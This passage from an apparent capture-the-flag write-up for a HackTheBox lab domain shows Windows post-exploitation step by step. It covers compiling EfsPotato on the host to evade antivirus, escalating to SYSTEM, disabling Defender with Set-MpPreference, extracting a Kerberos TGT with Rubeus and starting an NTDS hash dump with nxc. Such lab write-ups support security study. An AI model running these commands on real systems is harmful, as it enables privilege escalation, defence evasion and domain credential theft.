</span><span class="o">=============================</span><span class="w"> </span><span class="o">=========================================</span><span class="w"> </span><span class="o">========</span><span class="w">
</span><span class="n">SeAssignPrimaryTokenPrivilege</span><span class="w"> </span><span class="nx">Replace</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="nx">token</span><span class="w">             </span><span class="nx">Disabled</span><span class="w">
</span><span class="n">SeIncreaseQuotaPrivilege</span><span class="w">      </span><span class="nx">Adjust</span><span class="w"> </span><span class="nx">memory</span><span class="w"> </span><span class="nx">quotas</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">process</span><span class="w">        </span><span class="nx">Disabled</span><span class="w">
</span><span class="n">SeMachineAccountPrivilege</span><span class="w">     </span><span class="nx">Add</span><span class="w"> </span><span class="nx">workstations</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">domain</span><span class="w">                </span><span class="nx">Disabled</span><span class="w">
</span><span class="n">SeChangeNotifyPrivilege</span><span class="w">       </span><span class="nx">Bypass</span><span class="w"> </span><span class="nx">traverse</span><span class="w"> </span><span class="nx">checking</span><span class="w">                  </span><span class="nx">Enabled</span><span class="w"> 
</span><span class="n">SeImpersonatePrivilege</span><span class="w">        </span><span class="nx">Impersonate</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">client</span><span class="w"> </span><span class="nx">after</span><span class="w"> </span><span class="nx">authentication</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> 
</span><span class="n">SeCreateGlobalPrivilege</span><span class="w">       </span><span class="nx">Create</span><span class="w"> </span><span class="nx">global</span><span class="w"> </span><span class="nx">objects</span><span class="w">                     </span><span class="nx">Enabled</span><span class="w"> 
</span><span class="n">SeIncreaseWorkingSetPrivilege</span><span class="w"> </span><span class="nx">Increase</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="nx">working</span><span class="w"> </span><span class="nx">set</span><span class="w">            </span><span class="nx">Disabled</span><span class="w">


</span><span class="n">USER</span><span class="w"> </span><span class="nx">CLAIMS</span><span class="w"> </span><span class="nx">INFORMATION</span><span class="w">
</span><span class="o">-----------------------</span><span class="w">

</span><span class="n">User</span><span class="w"> </span><span class="nx">claims</span><span class="w"> </span><span class="nx">unknown.</span><span class="w">

</span><span class="n">Kerberos</span><span class="w"> </span><span class="nx">support</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">Dynamic</span><span class="w"> </span><span class="nx">Access</span><span class="w"> </span><span class="nx">Control</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="nx">device</span><span class="w"> </span><span class="nx">has</span><span class="w"> </span><span class="nx">been</span><span class="w"> </span><span class="nx">disabled.</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Crucially however it seems there’s an <code class="language-plaintext highlighter-rouge">antivirus</code> running and we’re not able to disable it.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">/mimikatz.exe</span><span class="w">
</span><span class="n">Program</span><span class="w"> </span><span class="s1">'mimikatz.exe'</span><span class="w"> </span><span class="nx">failed</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">run:</span><span class="w"> </span><span class="nx">Operation</span><span class="w"> </span><span class="nx">did</span><span class="w"> </span><span class="nx">not</span><span class="w"> </span><span class="nx">complete</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">because</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">file</span><span class="w"> </span><span class="nx">contains</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">virus</span><span class="w"> </span><span class="nx">or</span><span class="w"> </span><span class="nx">potentially</span><span class="w"> </span><span class="nx">unwanted</span><span class="w"> </span><span class="nx">softwareAt</span><span class="w"> </span><span class="nx">line:1</span><span class="w"> </span><span class="nx">char:1</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="o">.</span><span class="n">/mimikatz.exe</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="nx">~~~~~~~~~~~~~~.</span><span class="w">
</span><span class="n">At</span><span class="w"> </span><span class="nx">line:1</span><span class="w"> </span><span class="nx">char:1</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="o">.</span><span class="n">/mimikatz.exe</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="nx">~~~~~~~~~~~~~~</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="n">CategoryInfo</span><span class="w">          </span><span class="p">:</span><span class="w"> </span><span class="nx">ResourceUnavailable:</span><span class="w"> </span><span class="p">(:)</span><span class="w"> </span><span class="p">[],</span><span class="w"> </span><span class="n">ApplicationFailedException</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="nx">FullyQualifiedErrorId</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">NativeCommandFailed</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We can attempt to bypass this, assuming it’s static detection, by compiling on the host itself, one of the SeImpersonate exploits that allows us to do this is the <code class="language-plaintext highlighter-rouge">EfsPotato</code>. Let’s try it.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe</span><span class="w"> </span><span class="nx">EfsPotato.cs</span><span class="w"> </span><span class="nt">-nowarn</span><span class="p">:</span><span class="nx">1691</span><span class="p">,</span><span class="nx">618</span><span class="w">
</span><span class="n">Microsoft</span><span class="w"> </span><span class="p">(</span><span class="n">R</span><span class="p">)</span><span class="w"> </span><span class="n">Visual</span><span class="w"> </span><span class="nx">C</span><span class="c"># Compiler version 4.8.4161.0</span><span class="w">
</span><span class="kr">for</span><span class="w"> </span><span class="n">C</span><span class="c"># 5</span><span class="w">
</span><span class="n">Copyright</span><span class="w"> </span><span class="p">(</span><span class="n">C</span><span class="p">)</span><span class="w"> </span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Corporation.</span><span class="w"> </span><span class="nx">All</span><span class="w"> </span><span class="nx">rights</span><span class="w"> </span><span class="nx">reserved.</span><span class="w">

</span><span class="n">This</span><span class="w"> </span><span class="nx">compiler</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">provided</span><span class="w"> </span><span class="nx">as</span><span class="w"> </span><span class="nx">part</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="p">(</span><span class="n">R</span><span class="p">)</span><span class="w"> </span><span class="o">.</span><span class="nf">NET</span><span class="w"> </span><span class="n">Framework</span><span class="p">,</span><span class="w"> </span><span class="nx">but</span><span class="w"> </span><span class="nx">only</span><span class="w"> </span><span class="nx">supports</span><span class="w"> </span><span class="nx">language</span><span class="w"> </span><span class="nx">versions</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">C</span><span class="c"># 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240</span><span class="w">

</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ls</span><span class="w">


    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="w">


</span><span class="n">Mode</span><span class="w">                 </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w">                 </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">9</span><span class="n">/24/2026</span><span class="w">   </span><span class="nx">7:30</span><span class="w"> </span><span class="nx">AM</span><span class="w">          </span><span class="nx">25441</span><span class="w"> </span><span class="nx">EfsPotato.cs</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">9</span><span class="n">/24/2026</span><span class="w">   </span><span class="nx">7:33</span><span class="w"> </span><span class="nx">AM</span><span class="w">          </span><span class="nx">17920</span><span class="w"> </span><span class="nx">EfsPotato.exe</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s now run the compiled binary.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\EfsPotato.exe</span><span class="w"> </span><span class="nx">whoami</span><span class="w"> </span><span class="nx">lsarpc</span><span class="w">
</span><span class="n">Exploit</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">EfsPotato</span><span class="p">(</span><span class="n">MS-EFSR</span><span class="w"> </span><span class="nx">EfsRpcEncryptFileSrv</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">SeImpersonatePrivilege</span><span class="w"> </span><span class="nx">local</span><span class="w"> </span><span class="nx">privalege</span><span class="w"> </span><span class="nx">escalation</span><span class="w"> </span><span class="nx">vulnerability</span><span class="p">)</span><span class="o">.</span><span class="w">
</span><span class="n">Part</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">GMH</span><span class="s1">'s fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19c14410)
[+] Get Token: 880
[!] process with pid: 3740 created.
==============================
nt authority\system
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll be grabbing a reverse shell with this.</p>

<h2 id="domain-admin-via-forging-interdomain-tickets">Domain Admin via Forging Interdomain Tickets</h2>
<p>Firstly let’s disable that pesky antivirus</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Set-MpPreference</span><span class="w"> </span><span class="nt">-DisableRealtimeMonitoring</span><span class="w"> </span><span class="nv">$True</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll then grab a <code class="language-plaintext highlighter-rouge">TGT</code> so I can authenticate remotely, note that I’ve established a tunnel to the <code class="language-plaintext highlighter-rouge">10.0.0.0/24</code> network and added the <code class="language-plaintext highlighter-rouge">corp.primary.htb</code>  to my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> folder.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">/Rubeus.exe</span><span class="w"> </span><span class="nx">tgtdeleg</span><span class="w"> </span><span class="nx">/nowrap</span><span class="w">

   </span><span class="err">______</span><span class="w">        </span><span class="err">_</span><span class="w">
  </span><span class="p">(</span><span class="err">_____</span><span class="w"> </span><span class="n">\</span><span class="w">      </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w">
   </span><span class="err">_____</span><span class="p">)</span><span class="w"> </span><span class="p">)</span><span class="err">_</span><span class="w">   </span><span class="err">_</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">__</span><span class="w">  </span><span class="err">_____</span><span class="w"> </span><span class="err">_</span><span class="w">   </span><span class="err">_</span><span class="w">  </span><span class="err">___</span><span class="w"> 
  </span><span class="o">|</span><span class="w">  </span><span class="err">__</span><span class="w">  </span><span class="n">/</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w">  </span><span class="err">_</span><span class="w"> </span><span class="n">\</span><span class="o">|</span><span class="w"> </span><span class="err">___</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="n">/___</span><span class="p">)</span><span class="w">
  </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w">  </span><span class="n">\</span><span class="w"> </span><span class="nx">\</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_</span><span class="p">)</span><span class="w"> </span><span class="p">)</span><span class="w"> </span><span class="err">____</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">___</span><span class="w"> </span><span class="o">|</span><span class="w">
  </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="w">   </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="err">____</span><span class="n">/</span><span class="o">|</span><span class="err">____</span><span class="n">/</span><span class="o">|</span><span class="err">_____</span><span class="p">)</span><span class="err">____</span><span class="n">/</span><span class="p">(</span><span class="err">___</span><span class="n">/</span><span class="w">

  </span><span class="n">v2.2.0</span><span class="w"> 


</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Action:</span><span class="w"> </span><span class="nx">Request</span><span class="w"> </span><span class="nx">Fake</span><span class="w"> </span><span class="nx">Delegation</span><span class="w"> </span><span class="nx">TGT</span><span class="w"> </span><span class="p">(</span><span class="n">current</span><span class="w"> </span><span class="nx">user</span><span class="p">)</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="nx">target</span><span class="w"> </span><span class="nx">SPN</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">attempting</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">build</span><span class="w"> </span><span class="s1">'cifs/dc.domain.com'</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Initializing</span><span class="w"> </span><span class="nx">Kerberos</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">w/</span><span class="w"> </span><span class="nx">fake</span><span class="w"> </span><span class="nx">delegation</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">target</span><span class="w"> </span><span class="s1">'cifs/PRIMARY.corp.ghost.htb'</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Kerberos</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">initialization</span><span class="w"> </span><span class="nx">success</span><span class="o">!</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Delegation</span><span class="w"> </span><span class="nx">requset</span><span class="w"> </span><span class="nx">success</span><span class="o">!</span><span class="w"> </span><span class="nx">AP-REQ</span><span class="w"> </span><span class="nx">delegation</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">output.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Found</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">AP-REQ</span><span class="w"> </span><span class="nx">delegation</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">output.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Authenticator</span><span class="w"> </span><span class="nx">etype:</span><span class="w"> </span><span class="nx">aes256_cts_hmac_sha1</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Extracted</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">service</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">session</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">cache:</span><span class="w"> </span><span class="nx">t5A</span><span class="o">+</span><span class="nx">CqbBWj7oVfMtv6BWJG6</span><span class="o">+</span><span class="nx">SQYWicUHUNielPhraFQ</span><span class="o">=</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Successfully</span><span class="w"> </span><span class="nx">decrypted</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">authenticator</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">base64</span><span class="p">(</span><span class="n">ticket.kirbi</span><span class="p">):</span><span class="w">

      </span><span class="n">doIFxjCCBcKgAwIBBaEDAgEWooIExTCCBMFhggS9MIIEuaADAgEFoRAbDkNPUlAuR0hPU1QuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DT1JQLkdIT1NULkhUQqOCBHkwggR1oAMCARKhAwIBAqKCBGcEggRjI2</span><span class="o">+</span><span class="nx">iSHb79V1ygETUfQi/eaM76KhArzrxIHufH7rFlyYsfCCyR1M4AKxB0iJBuUVxzoVDRs1d9n3hGKvryOWYUOKtezyrWtXIipsDz1MYd8CTzECWPle/PZAsd0G87yClAXGsjdF0OmJorgnUORdVosb9</span><span class="o">+</span><span class="nx">BGBPUnqOJ/ycsk6uztUE</span><span class="o">+</span><span class="nx">nckQDPbF5bRj</span><span class="o">+</span><span class="nx">LjB22OuOWYoLzbMZCiHUEWOxEqcuy3ACtnfMhpfgDfxXBc1R9g2C8JEpwvzGSfqBPGDlX41sHuDDyo</span><span class="o">+</span><span class="nx">RvZ4</span><span class="o">++</span><span class="nx">fvxRh</span><span class="o">+</span><span class="nx">lYc4DHoF/RUiatWZhxSYrc4SUQufyJLf382vE2TCEP4oeryNDBoK2zGBJo27dN</span><span class="o">+</span><span class="nx">FXOdAMvMHjHtF7Za41ytHas7LafKH6bl6gEw</span><span class="o">+</span><span class="nx">czJU3vA7ZfEwj1M5Zz1RtqBQ55XnXMExBSacLp9UIE8k6yBpBzzv0KWn0YsMB/D</span><span class="o">+</span><span class="nx">h7UfJ14yUYLurBmKJaHUa7CYEf3j2jjkfHvYaRnSyCu5RKP7ji2KY</span><span class="o">+</span><span class="nx">nNx9i5/iPOJTXRorPk84Wre67IU06E74w44h8nsv03CxCRPEsH9X7TRRcwmZblZsINWe27D0DqAryPhhI1Swg</span><span class="o">+</span><span class="nx">kOtqkpBL3DbJpIbP</span><span class="o">+</span><span class="nx">gSAWTnjqMSa</span><span class="o">+</span><span class="nx">8jdN2mHETU5KVF4ad3k91iXr1S4ZrGgaqJKXH</span><span class="o">+</span><span class="nx">kl3G5J5zL8flYorCoapPy2nMpMFfGHkTrLiw8ZJi0d0/5P3tnVxNJZUM3BxIdSRORlP0HEBdx8zqclI</span><span class="o">+</span><span class="nx">97Ua9/bP2gYDYgausljPNI/Q1o/1iXrQySttfGX1Zwb04/e48F5U5uMtYa/HiKCNsufKUL5</span><span class="o">+</span><span class="nx">t8CamMmzYwxQg1dbe0N6pik02EZEA9KgI9jRrvf91ilfFqiGn5XIBIh6KGKEUJoQq/5rfwNIw3zIPEcwoo6u7M8M66iFpOqi8eXuRQk9Zxd8QLwazdwZpwlODPvGGrl</span><span class="o">+</span><span class="nx">0NrxC9FpuYMMSvm3VG4osD7HyOFxKjtU5EvfDbqfFQUAQOrnwzNoDA9tdw9GMnIcQCIaVWe3yELf3kZwOF6Q8DbHO7TwPWBXfeTGDl/Xm4CpNEiC04GlcXEowDo4BEJP3Ne3fbvcfuyRAdusfEPLEzc4Rk/jY6pvIafp</span><span class="o">+</span><span class="nx">t3ETTVVE8sv5o8CySMbgGYkgbCaoOOQqu06h5iB6byWiSXJZo2S69gXr52BuG</span><span class="o">+</span><span class="nx">yfIm22AtxzUmm7jYrHgaJ/m3FxMAmr2ZrdYLdHE</span><span class="o">+</span><span class="nx">O14rWPbrFhlEJzJQesXt03GlQla5z3G/IfKYgzyGEq4JmQ</span><span class="o">+</span><span class="nx">R</span><span class="o">+</span><span class="nx">wxYxV</span><span class="o">+</span><span class="nx">l/dRgVppI8uIwcvN9f4YuuYevqvvShL6C7DM1SMQK8r6eephZoTHGPb9W</span><span class="o">+</span><span class="nx">8AUz/iQBYorXbznBlw4lVlnGraM9RKd0WceHYmmA6ewZMD2XOfg3NIVYdof0hM0ny0RjcTiZFd9tlYrzp7aQscXevY3l</span><span class="o">+</span><span class="nx">NXFnmxL27PQaH0k2HnmZFcRiPytHVtS/FPq2pb8G5KuySV3N/Y3T4</span><span class="o">+</span><span class="nx">pPDwiQU07Ua79Afz5oDF2B7YkCV05IwS2Xz</span><span class="o">+</span><span class="nx">s5N65qOB7DCB6aADAgEAooHhBIHefYHbMIHYoIHVMIHSMIHPoCswKaADAgESoSIEIK3Fp0pKPIHsQNIZOIU9opRgm78PwskeCeytg9DMnX4hoRAbDkNPUlAuR0hPU1QuSFRCohUwE6ADAgEBoQwwChsIUFJJTUFSWSSjBwMFAGChAAClERgPMjAyNjA5MjQxMTAyNDVaphEYDzIwMjYwOTI0MjEwMjQ1WqcRGA8yMDI2MTAwMTAxMjg0OFqoEBsOQ09SUC5HSE9TVC5IVEKpIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkNPUlAuR0hPU1QuSFRC</span><span class="w">
	  
</span><span class="o">==========</span><span class="w">

</span><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ticketConverter.py</span><span class="w"> </span><span class="nt">-b</span><span class="w"> </span><span class="o">.</span><span class="nx">/primary.kirbi</span><span class="w"> </span><span class="o">.</span><span class="nx">/primary.ccache</span><span class="w">
</span><span class="n">Impacket</span><span class="w"> </span><span class="nx">v0.13.1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Copyright</span><span class="w"> </span><span class="nx">Fortra</span><span class="p">,</span><span class="w"> </span><span class="nx">LLC</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">its</span><span class="w"> </span><span class="nx">affiliated</span><span class="w"> </span><span class="nx">companies</span><span class="w"> 

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">base64</span><span class="w"> </span><span class="nx">decoding</span><span class="w"> </span><span class="nx">ticket</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">converting</span><span class="w"> </span><span class="nx">kirbi</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">ccache...</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">done</span><span class="w">
</span><span class="nx">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">cp</span><span class="w"> </span><span class="o">.</span><span class="nx">/primary.ccache</span><span class="w"> </span><span class="nx">/tmp/krb5cc_1000</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">klist</span><span class="w">   
</span><span class="n">Ticket</span><span class="w"> </span><span class="nx">cache:</span><span class="w"> </span><span class="nx">FILE:/tmp/krb5cc_1000</span><span class="w">
</span><span class="n">Default</span><span class="w"> </span><span class="nx">principal:</span><span class="w"> </span><span class="nx">PRIMARY</span><span class="err">$@</span><span class="nx">CORP.GHOST.HTB</span><span class="w">

</span><span class="n">Valid</span><span class="w"> </span><span class="nx">starting</span><span class="w">       </span><span class="nx">Expires</span><span class="w">              </span><span class="nx">Service</span><span class="w"> </span><span class="nx">principal</span><span class="w">
</span><span class="mi">09</span><span class="n">/24/2026</span><span class="w"> </span><span class="nx">21:02:45</span><span class="w">  </span><span class="nx">09/25/2026</span><span class="w"> </span><span class="nx">07:02:45</span><span class="w">  </span><span class="nx">krbtgt/CORP.GHOST.HTB</span><span class="err">@</span><span class="nx">CORP.GHOST.HTB</span><span class="w">
        </span><span class="n">renew</span><span class="w"> </span><span class="nx">until</span><span class="w"> </span><span class="nx">10/01/2026</span><span class="w"> </span><span class="nx">11:28:48</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">nxc</span><span class="w"> </span><span class="nx">smb</span><span class="w"> </span><span class="nx">corp.ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nt">--use-kcache</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Server</span><span class="w"> </span><span class="nx">2022</span><span class="w"> </span><span class="nx">Build</span><span class="w"> </span><span class="nx">20348</span><span class="w"> </span><span class="nx">x64</span><span class="w"> </span><span class="p">(</span><span class="n">name:PRIMARY</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">domain:corp.ghost.htb</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">signing:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">SMBv1:False</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">Null</span><span class="w"> </span><span class="nx">Auth:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">DC:True</span><span class="p">)</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">CORP.GHOST.HTB\PRIMARY</span><span class="err">$</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">ccache</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s dump <code class="language-plaintext highlighter-rouge">ntds</code></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">nxc</span><span class="w"> </span><span class="nx">smb</span><span class="w"> </span><span class="nx">corp.ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nt">--use-kcache</span><span class="w"> </span><span class="nt">--ntds</span><span class="w">        
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Server</span><span class="w"> </span><span class="nx">2022</span><span class="w"> </span><span class="nx">Build</span><span class="w"> </span><span class="nx">20348</span><span class="w"> </span><span class="nx">x64</span><span class="w"> </span><span class="p">(</span><span class="n">name:PRIMARY</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">domain:corp.ghost.htb</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">signing:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">SMBv1:False</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">Null</span><span class="w"> </span><span class="nx">Auth:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">DC:True</span><span class="p">)</span><span class="w">
